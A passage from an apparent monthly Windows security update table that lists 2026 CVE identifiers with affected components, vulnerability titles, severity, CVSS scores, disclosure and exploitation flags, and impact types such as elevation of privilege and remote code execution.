Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  